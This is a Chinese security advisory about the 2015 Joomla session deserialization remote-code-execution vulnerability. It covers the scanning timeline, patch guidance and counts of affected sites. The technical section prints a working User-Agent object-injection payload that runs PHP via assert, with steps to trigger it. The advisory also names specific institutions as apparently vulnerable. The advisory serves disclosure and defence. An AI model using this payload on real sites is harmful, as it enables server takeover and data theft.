1.摘要
12月14日,Joomla官方网站紧急发布了一条由于安全漏洞引发的版本更新(3.4.6),根据安全公司sucuri对外发布的信息,此事扫描时间是利用了Joomla的反序列化特性的问题导致命令执行的高危漏洞。从中国时间12月13日凌晨开始,有3个IP针对全球的网站进行了大规模的扫描。根据白帽汇安全团队的分析,此次扫描有两个特性:一是针对中国的网站扫描的较少,大批量针对国外的网站进行的;二是扫描并没有触发实质性的破坏工作。
虽然此次扫描并没有进行实质性的破坏,但是漏洞本身是高危害性的,成功攻击的情况下会导致敏感数据丢失,服务器被控制,甚至是服务中断。建议使用了Joomla的网站尽快到官方网站进行补丁更新,在最新版本3.4.6之前的所有版本都受影响。
通过对全球60万家采用Joomla的网站进行进一步分析,截至12月15日23点30分,此次漏洞影响至少超过49000家网站,绝大部分集中在国外(美国排名第一),国内目前监控到超过600家网站存在漏洞,我们会在后续持续更新进一步动态。
2.事件回溯
12月13日,由IP 74.3.170.33 发起的小规模漏洞扫描; 12月14日到15日,由IP 146.0.72.83 和194.28.174.106发起的更大规模的全网扫描。 12月15日,安全公司sucuri的官方博客对外发布消息,表示在中国时间12月13日陆续截获到了来自3个IP的大规模扫描事件。 12月15日,joomla官方发布最新版本3.4.6修复该漏洞。 12月15日,国内各安全相关团队对互联网进行了激烈的比拼扫描,为国内互联网流量增长持续贡献价值。
经过技术分析,此次漏洞利用需要在一个session会话内进行两次发包,而实际上我们通过大量的安全日志分析只看到了第一次POC的发送,并没有看到第二次利用的过程,这是我们比较不理解的。所以我们也并没有看到实质性的破坏工作,这也是不幸中的万幸。
3.技术还原
通过Diff最新的补丁发现官方在补丁中删除了User-Agent的获取:
这个漏洞存在于反序列化session的过程中,在libraries/joomla/session/session.php 文件中,_validate函数通过set把User-Agent数据存入进数据库:
joomla并没有采用php自带的session处理机制,而是用自己编写了存储session的容器(storage),其存储格式为『键名 + 竖线 + 经过 serialize() 函数反序列处理的值』,这里并没有正确处理多个竖线的情况。所以,攻击者就可以通过注入一个"|"符号,将它前面的部分全部认为是name,而|后面我就可以插入任意serialize字符串,进行触发反序列化漏洞了。
我们可以构造一个exp插入User-Agent:
User-Agent: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:37:”phpinfo();JFactory::getConfig();exit;";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"connection";b:1;}ð
进行访问站点,把恶意的User-Agent插入数据库,然后再此访问站点成功利用(注意cookie保证一致)
4.影响危害
易攻击对象:
采用Joomla系统 版本低于3.4.6(也就是12月15日之前的所有版本)
5.修补加固建议
此次事件利用的漏洞影响范围非常广泛,所以请所有采用Joomla的网站尽快升级至3.4.6版本或安装官方补丁:
3.x版本到如下地址下载
2.x版本到如下地址下载
注:下载补丁直接替换\libraries\joomla\session\session.php文件。
另外,可以通过加入一些安全云防护类产品来进行保护,比如360网站卫士,百度云加速,知道创宇加速乐等等,他们在漏洞发生后的第一时间内都增加了防护规则。
6.常见问题FAQ
Joomla是什么?
Joomla是一套在国外相当知名的内容管理系统(简称CMS),使用PHP语言和MySQL数据库开发,可以在Linux、 Windows、MacOSX等各种不同的平台上执行。在国内实际应用的场景不算太多。
这次扫描事件有什么危害?
成功的入侵能够导致敏感数据丢失,服务器被完全控制,甚至是服务中断。
影响范围有多大?
全球大约有60万采用Joomla进行建站的网站,中国互联网大约有11000家网站。通过白帽汇安全团队的监控,至少有49000家网站受影响,主要集中在美国,国内实际影响的网站数超过627家。
到哪下载补丁?
3.x版本到如下地址下载:
https://github.com/joomla/joomla-cms/releases/tag/3.4.6
2.x版本到如下地址下载:
https://github.com/joomla/joomla-cms/releases/download/3.4.6/SessionFix25v1.zip
我应该怎么做?
参考修复建议,直接更新版本或者补丁。
如果发现了入侵痕迹,还要将已经入侵成功的后门进行清除。
7.影响的部分网站
此次漏洞影响的网站主要集中在国外,全球漏洞排名前十的国家是:
11781 美国 6522 德国 3622 波兰 3474 荷兰 2427 俄罗斯 2423 法国 1751 英国 1392 意大利 1232 澳大利亚 1049 加拿大
国内影响的部分知名网站:
国家林业局 OPPO手机 中央广播电视大学 华东政法大学 香港中文大学 GLP集团 中山大学 东莞电子科技大学 红豆集团 富国集团 陕西师范大学 商丘廉政网 世界O2O博览会 博雅方略咨询(集团) 石家庄铁道大学 葵花游戏 凉山矿业股份有限公司 四姑娘山官方网站。
国外影响的部分知名网站:
哈佛大学 麻省理工大学 剑桥大学 Intel IEEE Honda 牛津大学 东京大学 加州州议会大厦博物馆 Utah尤他政府网 南佛罗里达大学 Amtrak警察局 CashStar。
对应的世界地图为:
8.参考
https://blog.sucuri.net/2015/12/remote-command-execution-vulnerability-in-joomla.html
https://github.com/80vul/phpcodz/blob/master/research/pch-013.md
https://github.com/rapid7/metasploit-framework/issues/6347
http://php.net/session_set_save_handler
http://php.net/manual/zh/session.configuration.php#ini.session.serialize-handler
https://github.com/joomla/joomla-cms/compare/3.4.5…3.4.6?diff=split&name=3.4.6
http://drops.wooyun.org/papers/11330
*本文作者:白帽汇(企业账号),转载请注明来自FreeBuf黑客与极客(FreeBuf.COM)